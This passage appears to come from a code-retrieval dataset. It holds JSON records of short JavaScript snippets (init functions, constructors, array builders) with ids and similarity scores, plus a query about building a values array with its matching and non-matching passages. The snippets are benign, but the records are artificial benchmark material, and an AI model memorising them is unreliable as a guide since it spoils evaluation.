"0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "4213fce23ce5b47c64fb6e401758bed2", "score": "0.609421", "text": "function init() {}", "title": "" }, { "docid": "ce1ff323fcd79185a0345856773523fb", "score": "0.6092752", "text": "constructor(){\r\n\t\tthis.data = [];//initializing the array as blank...\r\n\t}", "title": "" }, { "docid": "8cac41cff01e0a74ce4c333fcf9b86c2", "score": "0.6091674", "text": "init () {}", "title": "" }, { "docid": "f090f6045d5d21460a0714f260140b92", "score": "0.60916454", "text": "function tr_init() {\n\n\t\t\tl_desc.dyn_tree = dyn_ltree;\n\t\t\tl_desc.stat_desc = StaticTree.static_l_desc;\n\n\t\t\td_desc.dyn_tree = dyn_dtree;\n\t\t\td_desc.stat_desc = StaticTree.static_d_desc;\n\n\t\t\tbl_desc.dyn_tree = bl_tree;\n\t\t\tbl_desc.stat_desc = StaticTree.static_bl_desc;\n\n\t\t\tbi_buf = 0;\n\t\t\tbi_valid = 0;\n\t\t\tlast_eob_len = 8; // enough lookahead for inflate\n\n\t\t\t// Initialize the first block of the first file:\n\t\t\tinit_block();\n\t\t}", "title": "" }, { "docid": "3c5b7f7ea4a355a3b318db8a030022d7", "score": "0.607926", "text": "init() {\n\t\t// Could be implemented\n\t}", "title": "" }, { "docid": "4b8552a4e9cd1a516f32ac970d387ccd", "score": "0.6075835", "text": "init(data){\n }", "title": "" }, { "docid": "14e171dec3b81d98fffed636dab7fc9a", "score": "0.6074422", "text": "init() {\n }", "title": "" }, { "docid": "8320aca1d0dee89091818abac3f45630", "score": "0.6072081", "text": "constructor()\n\t{\n\t}", "title": "" }, { "docid": "6d4ef5ec174f176c38cff459cc8bf11d", "score": "0.60643846", "text": "initialise () {}", "title": "" }, { "docid": "6d4ef5ec174f176c38cff459cc8bf11d", "score": "0.60643846", "text": "initialise () {}", "title": "" }, { "docid": "98cc23865d8eb34df352eb57a413427d", "score": "0.6057972", "text": "function init() {\n $scope.model.value = removeNulls($scope.model.value);\n addDefaultProperties($scope.model.value.fieldsets);\n }", "title": "" }, { "docid": "d9db5422cb6f88834eca544f45be3291", "score": "0.6048044", "text": "constructor() {\n super();\n this.init();\n }", "title": "" }, { "docid": "c389450af90b1a25130a0400a101d94e", "score": "0.60478973", "text": "function init() {\n fillArrayWithData();\n getMeal();\n checkBasketVersion();\n\n}", "title": "" }, { "docid": "25c10cf908dc288b9dd238ad7b8ca4b8", "score": "0.604784", "text": "function init(){}", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.6045429", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.6045429", "text": "init() { }", "title": "" }, { "docid": "ce596583ba0a20482b08d4c190eb47ef", "score": "0.6045429", "text": "init() { }", "title": "" }, { "docid": "b33fca178605ca3211870179f41a3388", "score": "0.6043645", "text": "static initialize(obj, fname, lname, password, code) { \n obj['fname'] = fname;\n obj['lname'] = lname;\n obj['password'] = password;\n obj['code'] = code;\n }", "title": "" }, { "docid": "c39c0349fff397f31196a6832dee54ad", "score": "0.6029159", "text": "function Ctor() {\n\t// Empty...\n}", "title": "" }, { "docid": "12e0b1ff9879566320b450e79bf2a3c7", "score": "0.60179925", "text": "constructor() {\n this.longueur = 0;\n this.debut = null;\n this.fin = null\n }", "title": "" }, { "docid": "e19c7f1252646d85a119b2c72b7cafbc", "score": "0.6013924", "text": "static initialize(obj, tree) { \n obj['tree'] = tree;\n }", "title": "" }, { "docid": "567b4c244755cd20767fd26a65d70122", "score": "0.6008391", "text": "static initialize(obj, sigHash, fee, transactionType) { \n obj['sigHash'] = sigHash;\n obj['fee'] = fee;\n obj['transactionType'] = transactionType;\n }", "title": "" }, { "docid": "d4f10b400f2b87054ad7bde6ac4566e9", "score": "0.60083437", "text": "constructor(alto){\n super(alto, alto); //Con super se ejecuta el constructor de la clase padre, si se detalla el metodo con super.metodo() solo ejecutas el metodo señalado \n }", "title": "" }, { "docid": "1cf16b175157def6f3fb45649a5bfe0f", "score": "0.60076773", "text": "constructor() { \n \n Fields.initialize(this);\n }", "title": "" }, { "docid": "70962d886242e31090e100bc2506c3a9", "score": "0.6006066", "text": "constructor(a, b){\n this.namaMahasiswa = a;\n this.nim=b;\n }", "title": "" }, { "docid": "63512c2e18358abee1d9ae837bea5ed0", "score": "0.600439", "text": "init(firstName, birthYear) {\n this.firstName = firstName;\n this.birthYear = birthYear;\n }", "title": "" }, { "docid": "9bee6ab532ea7634569814ff8dff370f", "score": "0.60021335", "text": "constructor()\n {\n this.name= \"Bob\",\n this.lastName= \"Dylan\",\n this.birthDate= \"May 24, 1941\"\n }", "title": "" }, { "docid": "ae312b7730152cd72546a30811ca64ee", "score": "0.5997687", "text": "constructor() {\n this._rbTree = createTree();\n }", "title": "" }, { "docid": "6927536d1e5e6ea9e09687840fcf8cd8", "score": "0.59916013", "text": "init() {\n\t\t\n\t}", "title": "" }, { "docid": "968aadc08a2a805afb7f188cc21b98a8", "score": "0.59858716", "text": "constructor(nama, umur){\n this.nama = nama;\n this.umur = umur;\n }", "title": "" }, { "docid": "0d10a41e2d2e15b14bd621e554dff73c", "score": "0.5972109", "text": "function Ctor() {\n }", "title": "" }, { "docid": "7fdb27f36a1214a1c4636f2da753aa6a", "score": "0.5967594", "text": "static initialize(obj) { \n obj['a'] = a;\n obj['b'] = b;\n }", "title": "" }, { "docid": "1987dacccd90a2c225237e678a2f561e", "score": "0.5963017", "text": "static initialize(obj, feeInDrops, feeInXrp) { \n obj['feeInDrops'] = feeInDrops;\n obj['feeInXrp'] = feeInXrp;\n }", "title": "" }, { "docid": "33d88b592744a0d4e34b6c9f1a672df9", "score": "0.5962418", "text": "static initialize(obj, nameField, prepperTemplateIDField, templateDescriptionField) { \n obj['NameField'] = nameField;\n obj['PrepperTemplateIDField'] = prepperTemplateIDField;\n obj['TemplateDescriptionField'] = templateDescriptionField;\n }", "title": "" }, { "docid": "b24b521f5804ffca9061ebda3ea8a647", "score": "0.59567404", "text": "function init() {\n //check if instance sent data, warn and fail if not\n if(!_.isArray(dataset)) {\n console.error('Bingo requires an array of data');\n return false;\n }\n\n //Compile card template\n card_template = Handlebars.compile(card_template_string);\n //Build card\n make_card();\n //Bind events\n setDOM();\n }", "title": "" }, { "docid": "9927a36f9712e37a75819ea2e3b4a6da", "score": "0.5955578", "text": "static initialize(obj, identifier, type, name, required, showInTemperatureGraph) { \n obj['identifier'] = identifier;\n obj['type'] = type;\n obj['name'] = name;\n obj['required'] = required;\n obj['show_in_temperature_graph'] = showInTemperatureGraph;\n }", "title": "" }, { "docid": "d671af20920169ede0621bacd96b3c59", "score": "0.59555674", "text": "initializes(){\n global.flappyBird = createFlappyBird();\n global.floor = createFloor();\n \n }", "title": "" }, { "docid": "c86de7fcf6fc0fb1ba81612efee25781", "score": "0.5953273", "text": "constructor() { console.log(\"Model: Fui criada!\");\n\n this._nome = \"\";\n this._imagem = \"\";\n }", "title": "" }, { "docid": "229e5ac5e806393b5be582bb57fae218", "score": "0.5945273", "text": "static initialize(obj, content, message) { \n obj['content'] = content;\n obj['message'] = message;\n }", "title": "" }, { "docid": "935096abb8ed96049df10e94fcb8c211", "score": "0.59428996", "text": "constructor(nombre, edat, email) { //per crear instancias es necesita un metode constructor\n this.name = nombre, //si volem que les instancies heredin les caracteristiques han de tenir el this\n this.email = email,//coma per cada nou element\n this.age = edat; //la ultima propietat o va sense coma o va amb punt i coma\n }", "title": "" }, { "docid": "26bbd14ad45ce1fbbac0119ebd6a3961", "score": "0.5942149", "text": "function init() {\n //\n }", "title": "" }, { "docid": "04f4314f66c4d4d46c1ec493b4a82950", "score": "0.59356403", "text": "init() {\n super.init();\n }", "title": "" } ]
67f068998afb443c098b82b19678ca3a
builds the values array, starting with value 1 up to the dimension
[ { "docid": "1051498ec308199ab266b765634c5bd2", "score": "0.7747172", "text": "function buildValuesArray(dimension) {\n\tvar value, values = [];\n\tfor(value = 1; value < dimension + 1; value++) {\n\t\tvalues.push(value);\n\t}\n\treturn values;\n}", "title": "" } ]
[ { "docid": "ef3725e18ea675f5be9691d294f8bab1", "score": "0.6762702", "text": "function generateArray(dimensions, value) {\n let array = [];\n for (let i = 0; i < dimensions[0]; ++i)\n array.push(dimensions.length === 1 ? value : generateArray(dimensions.slice(1), value));\n return array;\n}", "title": "" }, { "docid": "ccaa51c47790e7a44d0d0ef16b4440e1", "score": "0.6634715", "text": "function valx(){\n let arr=[];\n for(let x=0;x<data.values.length;x++){\n arr.push(data.values[x].slice(0,data.values[0].length-1))\n }\n return arr\n }", "title": "" }, { "docid": "9072b60b268b525db1b442299cdcdb04", "score": "0.6594729", "text": "function buildArray(count, value) {\n var array = [];\n for (var i = 0; i < count; i++) {\n array.push(value);\n }\n return array;\n}", "title": "" }, { "docid": "805ae395856839a7c470950bdf7d42f3", "score": "0.64061373", "text": "function makeValArray(data) {\n\tvar val = [];\n\tfor (i=0;i<5;i++){\n\t\tval.push(data[i].Value);\n\t}\n\treturn val;\n}", "title": "" }, { "docid": "2ff304e19ebf0c70beac27c2f35e8268", "score": "0.62559474", "text": "function expand(arr,val){\n var emptyArr=[];\n for(var i=0;i<arr.length; i++){\n for(var j=0; j<val; j++){\n emptyArr.push(arr[i])\n }\n }\n return emptyArr;\n}", "title": "" }, { "docid": "abdbfbf23f3a6405bd5de90f186f5c68", "score": "0.6237977", "text": "_createValueArray(data, mapf, array) {\n // create dimension value array\n const len = data.length;\n const larray = array;\n for (let i = 0; i < len; i += 1) {\n larray[i] = mapf(i, data);\n }\n return larray;\n }", "title": "" }, { "docid": "523b43e8ef8b8fde4a79f9c6e09acdfd", "score": "0.622385", "text": "function buildArray(){\n\t\tvar numbers = [];\n\n\t\tfor (var i = 1; i <= imageMax; i++){\n\t\t\tnumbers.push(i);\n\t\t}\n\n\t\treturn numbers;\n\t}", "title": "" }, { "docid": "5d51a561fc9d6221ae813e58d0d0ec8c", "score": "0.6214293", "text": "function fillArray(value, len) {\n if (len == 0) return [];\n var a = [value];\n while (a.length * 2 <= len) a = a.concat(a);\n if (a.length < len) a = a.concat(a.slice(0, len - a.length));\n return a;\n }", "title": "" }, { "docid": "ead7b0cd6c31df6a64c4ef9ec9ee8225", "score": "0.6029071", "text": "static from (value) {\n let arr = new MyArray();\n for (let i = 0; i < value.length; i++) {\n arr.pushTo(value[i]);\n }\n return arr;\n }", "title": "" }, { "docid": "50eb1e830b7053d16d31f37df0c36e26", "score": "0.59129", "text": "toArrays () {\n return this.value.map( x => Array.from(x) )\n }", "title": "" }, { "docid": "aff94a46f14ecdc1168773f232be6a01", "score": "0.5904943", "text": "function fillArray(value, len) {\n if (len == 0) return [];\n var a = [value];\n while (a.length * 2 <= len) a = a.concat(a);\n if (a.length < len) a = a.concat(a.slice(0, len - a.length));\n return a;\n}", "title": "" }, { "docid": "e13edfb26a0591547f525a0955ad5f4a", "score": "0.5844879", "text": "function initArray(dim1, dim2, value) {\n\treturn Array.apply(null, Array(dim1))\n\t.map(function () { \n\t\treturn Array.apply(null, Array(dim2))\n\t\t.map(function () { return value;});\n\t});\n}", "title": "" }, { "docid": "f8b9069e7c02e683067c8681f84afa5b", "score": "0.5843455", "text": "function fillArray(value, len) {\n var arr = new Array(len);;\n for (var i = 0; i < len; i++) {\n arr[i] = value;\n }\n return arr;\n}", "title": "" }, { "docid": "cc33fd843435a1af4e39c433092b50ef", "score": "0.5823609", "text": "function initArray(size,value) {\n let arr = [];\n for(let i = 0 ; i < size ; ++i)\n arr[i] = value;\n return arr;\n}", "title": "" }, { "docid": "74c7b6da19985e6fc793b64be67b7099", "score": "0.5818969", "text": "function createArray(n, value) {\n var array = [];\n\n if (value === 'undefined') {\n value = null;\n }\n for (var i = 0; i < n; i++) {\n array[array.length] = value;\n }\n return array;\n}", "title": "" }, { "docid": "e8a6dc7b8cd954607d53f907bd8cd765", "score": "0.58140135", "text": "function get_array(val) {\n\tvar arr = []\n\t// your code here\n for(let i = 1; i <= val; i++) {\n arr.push(i);\n }\n\n\treturn arr;\n}", "title": "" }, { "docid": "dc58ba9fe839c6c49af9b86c31034665", "score": "0.5809705", "text": "function makeArr(val) {\n return Array.from({ length: Math.abs(val) }, (_, i) => i);\n}", "title": "" }, { "docid": "e0c29bd6768bec7a6f9c346661497aed", "score": "0.58059824", "text": "create2Darray(w, h, value) {\n const arr = [];\n for (let x = 0; x < w; x++) {\n arr[x] = [];\n }\n for (let x = 0; x < w; x++) {\n for (let y = 0; y < h; y++) {\n arr[x][y] = value;\n }\n }\n return arr;\n }", "title": "" }, { "docid": "2ed9e5eec26704763c6adb1bab954ae6", "score": "0.5801825", "text": "shape() {\n return [this.values.length, this.values[0].length];\n }", "title": "" }, { "docid": "c25145df243510802e9f7b6ae3c8ee8c", "score": "0.57480323", "text": "function initArray(array, value)\n{\n\tvar x, y;\n\t\n\tarray.length = VIEW_HEIGHT;\n\t\n\tfor (y=0; y<VIEW_HEIGHT; y++)\n\t{\n\t\tarray[y] = [];\n\t\t\n\t\tfor (x=0; x<VIEW_WIDTH; x++)\n\t\t{\n\t\t\t// need to do a _copy() as \n\t\t\tarray[y].push(_copy(value));\n\t\t}\n\t}\n}", "title": "" }, { "docid": "457889bcbf539a427b05856f0e1f47f5", "score": "0.5723957", "text": "function chunkyMonkey(values, size) {\n slicedArrays = []\n let firstSlicedArray = values.slice(0, size)\n slicedArrays.push(firstSlicedArray)\n let secondSlicedArray = values.slice(size, values.length)\n slicedArrays.push(secondSlicedArray)\n return slicedArrays\n \n}", "title": "" }, { "docid": "57efb39a011c7b83c4e0743bb30e68af", "score": "0.5695161", "text": "function fill(dim, type) {\n var arr = [], i;\n for (i = 0; i < dim; i++) {\n if (type === 'ones') arr[i] = 1;\n else if (type === 'rands') arr[i] = Math.random();\n else if(type === 'empty') arr[i] = undefined;\n else if(type === 'custom') arr[i] = value;\n\n else arr[i] = 0;\n }\n return arr;\n }", "title": "" }, { "docid": "67409477e0e54920296a564ab35062eb", "score": "0.5692725", "text": "function beggars(values, n){\n let result = []\n if(n === 0) return result\n for (let index = 0; index < n; index++) {\n let value = 0\n for (let item =index; item < values.length; item +=n) {\n value += values[item] \n }\n // console.log(value)\n result.push(value)\n }\n return result\n }", "title": "" }, { "docid": "2369b07e248a049aaab0afde622476d9", "score": "0.56901985", "text": "createArray(n, value) {\n return Array.apply(null, Array(n)).map((a, idx) => {\n if (typeof value === 'function') {\n return value(idx);\n }\n return value;\n });\n }", "title": "" }, { "docid": "75acb2088d85c2945028d58837e60d8c", "score": "0.56841415", "text": "function getArrValues(n) {\ncreateEmptyArr(n);\n let a = (n - 1) / 2;\n let b = (n - 1) / 2;\n let x = 1;\n\n arr[a][b] = x;\n\n for (let t = 1; t < n; t++) {\n if (t % 2 == 0) {\n for (let i = 0; i < t; i++) {\n b -= 1;\n x += 1;\n arr[a][b] = x;\n };\n\n for (let i = 0; i < t; i++) {\n a -= 1;\n x += 1;\n arr[a][b] = x;\n };\n } else {\n for (let i = 0; i < t; i++) {\n b += 1;\n x += 1;\n arr[a][b] = x;\n };\n\n for (let i = 0; i < t; i++) {\n a += 1;\n x += 1;\n arr[a][b] = x;\n };\n }\n }\n\n for (let i = 1; i < n; i++) {\n arr[0][i] = arr[0][i - 1] + 1;\n }\n}", "title": "" }, { "docid": "c5fb3bd9c78df95ea7b0fcc4b08c663c", "score": "0.5659021", "text": "function initColorValSet() {\r\n \r\n colorValSet = [];\r\n colorDirSet = [];\r\n\r\n for(i = 0, itv = 0.0; i < numOfVerteces; ++i) {\r\n if(i % 3 == 0 && i != 0)\r\n itv += mosaicItv;\r\n colorValSet.push(1.0 - itv);\r\n colorValSet.push(1.0 - itv);\r\n colorValSet.push(1.0 - itv);\r\n colorValSet.push(1.0);\r\n colorDirSet.push(1);\r\n }\r\n // console.log(\"Size is\", colorValSet.length);\r\n}", "title": "" }, { "docid": "b02bcccdfa846c92ea63234ac1452cf3", "score": "0.5644693", "text": "function createArray(n, value)\n{ \n if( typeof n !== \"number\" )\n\t{\t \n\t\treturn;\n\t}\n\t\n\tvar arr = new Array(n);\t\t\n\tfor( var i = 0; i < n; ++i)\n\t{\n\t\tarr[i] = n;\n\t}\n\t\n\treturn arr;\n}", "title": "" }, { "docid": "5090ff1855dd57855305b837613c68c0", "score": "0.5638982", "text": "function e(){return[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]}", "title": "" }, { "docid": "5090ff1855dd57855305b837613c68c0", "score": "0.5638982", "text": "function e(){return[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]}", "title": "" }, { "docid": "36bd37411bb060658657eb3489554932", "score": "0.56227565", "text": "function get_array(){\n\tvar arr = [];\n\tfor (var i = 1; i <= 255; i++) {\n\t\tarr.push(i);\n\t}\n\treturn arr;\n}", "title": "" }, { "docid": "ffff2681820d968154d8d7b0587fada2", "score": "0.5615285", "text": "values() {\n let valuesArr = [];\n // loop through keymap\n for (let i = 0; i < this.keyMap.length; i++) {\n // check if index exists in keymap\n if (this.keyMap[i]) {\n // loop through index in keymap\n for (let j = 0; j < this.keyMap[i].length; j++) {\n // check for duplicates, if it doesnt exist push\n if (!valuesArr.includes(this.keyMap[i][j][1])) {\n // push value, i = index, j = sub array, 1 = value\n valuesArr.push(this.keyMap[i][j][1]);\n }\n }\n }\n }\n return valuesArr;\n }", "title": "" }, { "docid": "b0f726b33c10184d5cc046425c666501", "score": "0.5600325", "text": "function creatArray(size){\n var mtx = new Array(size);\n for(var k = 0; k < mtx.length; k++){\n mtx[k] = new Array(size);\n }\n\n for(var i = 0; i < size; i++){\n for(var j = 0; j < size; j++){\n if(i+j === size-1)\n mtx[i][j] = 1;\n else\n mtx[i][j] = 0;\n }\n }\n return mtx;\n}", "title": "" }, { "docid": "d043737fb08193496c5d95de739322ac", "score": "0.5598587", "text": "function makeArray(n){\n var array = [], row = [];\n for (var i = 0; i < n; i++){\n row.push(0);\n }\n for (var j = 0; j < n; j++){\n array.push(row.slice());\n }\n return array; \n}", "title": "" }, { "docid": "01d8d71604ba696265dee69a952474f9", "score": "0.55915654", "text": "static full(len, val) {\n var a = new Array(len);\n for(let i = 0; i < len; ++i) a[i] = val;\n return a;\n }", "title": "" }, { "docid": "a4546a54c6f2c202b317ebd8da108546", "score": "0.55887336", "text": "function unflatten(valuesInOneDimension, size) {\n const {height, width} = size;\n const valuesInTwoDimensions = [];\n for (let y = 0; y < height; y++) {\n const start = y * width;\n const end = start + width;\n valuesInTwoDimensions.push(valuesInOneDimension.subarray(start, end));\n }\n return valuesInTwoDimensions;\n}", "title": "" }, { "docid": "1b7ebf4de11a41d6dd2be94a7d9d4361", "score": "0.5587747", "text": "constructor() {\r\n this.ROWS = 9;\r\n this.COLS = 9;\r\n this.values = [];\r\n for(let i = 0; i < this.ROWS; i++) {\r\n let row = [];\r\n for(let j = 0; j < this.COLS; j++) {\r\n row.push(null);\r\n }\r\n this.values.push(row);\r\n }\r\n }", "title": "" }, { "docid": "e10c8d90c5f6d114f87d074d729c7334", "score": "0.5585097", "text": "function init_2D_array(width, height, value) {\r\n\tretArray = new Array();\r\n\tfor (var i = 0; i < height; i++) { //Row array contains column cells.\r\n\t\trow = new Array();\r\n\t\tfor (var j = 0; j < width; j++) { //Column contains true/false.\r\n\t\t\trow.push(value);\r\n\t\t}\r\n\t\tretArray.push(row); //Add row to array of rows.\r\n\t}\r\n\treturn retArray;\r\n}", "title": "" }, { "docid": "83ad808699f3a0971f4c07a37450a023", "score": "0.55844194", "text": "function fillArray(value, len) {\n var arr = new Array(len);\n for (var i = 0; i < len; i++) {\n arr[i] = value;\n }\n return arr;\n}", "title": "" }, { "docid": "c8ec70480a46bf17674fa58545b2510c", "score": "0.55702686", "text": "function initArray(len, val){\n\tvar arr = [];\n\tfor(var i=0; i<len; i++){\n\t\tarr[i] = val;\n\t}\n\treturn arr;\n}", "title": "" }, { "docid": "0bab339c5938d0ac3a7b6658009df54d", "score": "0.55691063", "text": "function setDoubleArray(length){\n var result = new Array(length);\n for(var i=0; i<result.length; i++){\n result[i] = new Array(length);\n }\n\n for(var i=0; i<result.length; i++){\n for(var j = 0; j< result[i].length; j++){\n result[i][j] =0;\n }\n }\n return result;\n}", "title": "" }, { "docid": "084e6a2a4c9fe0844e03b70cc3f5d1cd", "score": "0.5565425", "text": "initializeMap(e) {\n let map = Array(this.N).fill().map(() => Array(this.N).fill(e));\n for (let i = 0; i < this.N; i++)\n for (let j = 0; j < this.N; j++)\n if (j == 0 || j == this.N - 1 || i == 0 || i == this.N - 1) map[i][j] = 1;\n return map;\n }", "title": "" }, { "docid": "f3d35a7e984f7578956eca4fb34ee631", "score": "0.5552757", "text": "function e(){return[1,0,0,0,1,0,0,0,1]}", "title": "" }, { "docid": "691278b004e47b6d7aff760e7342924c", "score": "0.55478615", "text": "static full2d(height, width, val) {\n\n var rows = [];\n for(let i = 0; i < height; i++) {\n\n // Init rows\n var row = [];\n\n // Append columns\n for(let ii = 0; ii < width; ii++) { row.push(val) }\n\n // Append to matrix\n rows.push(row);\n\n }\n\n return rows\n\n }", "title": "" }, { "docid": "0ca9e0fea52fe7ae0736aa1de9bb19a5", "score": "0.55185056", "text": "function ValueCurForArray(name, valueBegin, valueEnd) {\n var aValue = [];\n\n /**\n * SETUP EACH VALUE IN ARRAY[]\n * + Remove element >= 2 : Browser not support Transform 3D\n */\n for( var i = 0, len = valueEnd.length; i < len && !(i >= 2 && !VA.isTf3D); i++ ) {\n\n /**\n * CONVERT VALUE BEGIN - END\n */\n var vaEndCur = ConvertValue(name + i, valueEnd[i]),\n vaBeginCur = ConvertValue(name + i, valueBegin[i]);\n\n // Case: value 'begin' not exist\n if( vaBeginCur === UNDE ) vaBeginCur = vaEndCur;\n\n\n\n /**\n * SETUP CURRENT VALUE + STORE IN ARRAY[]\n */\n var plus = (vaEndCur - vaBeginCur) * an.xCur,\n valueCur = Math.round((vaBeginCur + plus) * 10) / 10;\n\n aValue.push(valueCur + 'px');\n }\n\n\n /**\n * CONVERT ARRAY TO STRING\n */\n return aValue.join(' ');\n }", "title": "" }, { "docid": "0ca9e0fea52fe7ae0736aa1de9bb19a5", "score": "0.55185056", "text": "function ValueCurForArray(name, valueBegin, valueEnd) {\n var aValue = [];\n\n /**\n * SETUP EACH VALUE IN ARRAY[]\n * + Remove element >= 2 : Browser not support Transform 3D\n */\n for( var i = 0, len = valueEnd.length; i < len && !(i >= 2 && !VA.isTf3D); i++ ) {\n\n /**\n * CONVERT VALUE BEGIN - END\n */\n var vaEndCur = ConvertValue(name + i, valueEnd[i]),\n vaBeginCur = ConvertValue(name + i, valueBegin[i]);\n\n // Case: value 'begin' not exist\n if( vaBeginCur === UNDE ) vaBeginCur = vaEndCur;\n\n\n\n /**\n * SETUP CURRENT VALUE + STORE IN ARRAY[]\n */\n var plus = (vaEndCur - vaBeginCur) * an.xCur,\n valueCur = Math.round((vaBeginCur + plus) * 10) / 10;\n\n aValue.push(valueCur + 'px');\n }\n\n\n /**\n * CONVERT ARRAY TO STRING\n */\n return aValue.join(' ');\n }", "title": "" }, { "docid": "d7bb80a22762880c7c831d22b9e24b19", "score": "0.5517687", "text": "function buildValueArray(name, mod, map, fn) {\n var field = name, all = [], setMap;\n if (!loc[field]) {\n field += 's';\n }\n if (!map) {\n map = {};\n setMap = true;\n }\n forAllAlternates(field, function(alt, j, i) {\n var idx = j * mod + i, val;\n val = fn ? fn(i) : i;\n map[alt] = val;\n map[alt.toLowerCase()] = val;\n all[idx] = alt;\n });\n loc[field] = all;\n if (setMap) {\n loc[name + 'Map'] = map;\n }\n }", "title": "" }, { "docid": "d7bb80a22762880c7c831d22b9e24b19", "score": "0.5517687", "text": "function buildValueArray(name, mod, map, fn) {\n var field = name, all = [], setMap;\n if (!loc[field]) {\n field += 's';\n }\n if (!map) {\n map = {};\n setMap = true;\n }\n forAllAlternates(field, function(alt, j, i) {\n var idx = j * mod + i, val;\n val = fn ? fn(i) : i;\n map[alt] = val;\n map[alt.toLowerCase()] = val;\n all[idx] = alt;\n });\n loc[field] = all;\n if (setMap) {\n loc[name + 'Map'] = map;\n }\n }", "title": "" }, { "docid": "d7bb80a22762880c7c831d22b9e24b19", "score": "0.5517687", "text": "function buildValueArray(name, mod, map, fn) {\n var field = name, all = [], setMap;\n if (!loc[field]) {\n field += 's';\n }\n if (!map) {\n map = {};\n setMap = true;\n }\n forAllAlternates(field, function(alt, j, i) {\n var idx = j * mod + i, val;\n val = fn ? fn(i) : i;\n map[alt] = val;\n map[alt.toLowerCase()] = val;\n all[idx] = alt;\n });\n loc[field] = all;\n if (setMap) {\n loc[name + 'Map'] = map;\n }\n }", "title": "" }, { "docid": "ad631aeb2a7cca6683d9f8b753fa2c24", "score": "0.5494068", "text": "function toCollectorArrayValue(values) {\n return {\n values: values.map(value => toCollectorAnyValue(value)),\n };\n}", "title": "" }, { "docid": "369187f635b639cd5beaf8747333d070", "score": "0.5485449", "text": "function fillDynamically(value, length) {\n \n let newArray = new Array(length).fill(value)\n return newArray\n}", "title": "" }, { "docid": "5a10f7c02ed50e5c5431e8c1c88127af", "score": "0.5483642", "text": "function get_arr()\r\n{\r\n return [[9, 0, 0],[9, 1, 0],[10, 1, 0],[11, 1, 0],[12, 2, 0],[11, 3, 0],[12, 3, 0],[0, 8, 0],[1, 8, 0],[7, 8, 0],[8, 8, 0],[0, 9, 0],[1, 9, 0],[7, 9, 0],[8, 9, 0],[4, 11, 0],[5, 11, 0],[4, 12, 0],[5, 12, 0],[27, 16, 0],[28, 16, 0],[14, 17, 0],[27, 17, 0],[28, 17, 0],[12, 18, 0],[14, 18, 0],[12, 19, 0],[13, 19, 0],[14, 19, 0],[24, 19, 0],[25, 19, 0],[31, 19, 0],[32, 19, 0],[12, 20, 0],[24, 20, 0],[25, 20, 0],[31, 20, 0],[32, 20, 0],[20, 25, 0],[21, 25, 0],[20, 26, 0],[21, 27, 0],[22, 27, 0],[23, 27, 0],[23, 28, 0],[9, 0, 1],[9, 1, 1],[10, 1, 1],[11, 1, 1],[12, 2, 1],[11, 3, 1],[12, 3, 1],[0, 8, 1],[1, 8, 1],[7, 8, 1],[8, 8, 1],[0, 9, 1],[1, 9, 1],[7, 9, 1],[8, 9, 1],[4, 11, 1],[5, 11, 1],[4, 12, 1],[5, 12, 1],[27, 16, 1],[28, 16, 1],[13, 17, 1],[27, 17, 1],[28, 17, 1],[12, 18, 1],[14, 18, 1],[15, 18, 1],[11, 19, 1],[12, 19, 1],[14, 19, 1],[24, 19, 1],[25, 19, 1],[31, 19, 1],[32, 19, 1],[12, 20, 1],[24, 20, 1],[25, 20, 1],[31, 20, 1],[32, 20, 1],[20, 25, 1],[21, 25, 1],[20, 26, 1],[21, 27, 1],[22, 27, 1],[23, 27, 1],[23, 28, 1],[9, 0, 2],[9, 1, 2],[10, 1, 2],[11, 1, 2],[12, 2, 2],[11, 3, 2],[12, 3, 2],[0, 8, 2],[1, 8, 2],[7, 8, 2],[8, 8, 2],[0, 9, 2],[1, 9, 2],[7, 9, 2],[8, 9, 2],[4, 11, 2],[5, 11, 2],[4, 12, 2],[5, 12, 2],[27, 16, 2],[28, 16, 2],[13, 17, 2],[14, 17, 2],[27, 17, 2],[28, 17, 2],[11, 18, 2],[12, 18, 2],[14, 18, 2],[15, 18, 2],[11, 19, 2],[12, 19, 2],[14, 19, 2],[15, 19, 2],[24, 19, 2],[25, 19, 2],[31, 19, 2],[32, 19, 2],[11, 20, 2],[12, 20, 2],[13, 20, 2],[24, 20, 2],[25, 20, 2],[31, 20, 2],[32, 20, 2],[20, 25, 2],[21, 25, 2],[20, 26, 2],[21, 27, 2],[22, 27, 2],[23, 27, 2],[23, 28, 2],[9, 0, 3],[9, 1, 3],[10, 1, 3],[11, 1, 3],[12, 2, 3],[11, 3, 3],[12, 3, 3],[0, 8, 3],[1, 8, 3],[7, 8, 3],[8, 8, 3],[0, 9, 3],[1, 9, 3],[7, 9, 3],[8, 9, 3],[4, 11, 3],[5, 11, 3],[4, 12, 3],[5, 12, 3],[27, 16, 3],[28, 16, 3],[12, 17, 3],[13, 17, 3],[14, 17, 3],[15, 17, 3],[27, 17, 3],[28, 17, 3],[11, 18, 3],[10, 19, 3],[15, 19, 3],[24, 19, 3],[25, 19, 3],[31, 19, 3],[32, 19, 3],[11, 20, 3],[13, 20, 3],[14, 20, 3],[24, 20, 3],[25, 20, 3],[31, 20, 3],[32, 20, 3],[12, 21, 3],[20, 25, 3],[21, 25, 3],[20, 26, 3],[21, 27, 3],[22, 27, 3],[23, 27, 3],[23, 28, 3],[9, 0, 4],[9, 1, 4],[10, 1, 4],[11, 1, 4],[12, 2, 4],[11, 3, 4],[12, 3, 4],[0, 8, 4],[1, 8, 4],[7, 8, 4],[8, 8, 4],[0, 9, 4],[1, 9, 4],[7, 9, 4],[8, 9, 4],[4, 11, 4],[5, 11, 4],[4, 12, 4],[5, 12, 4],[13, 16, 4],[14, 16, 4],[27, 16, 4],[28, 16, 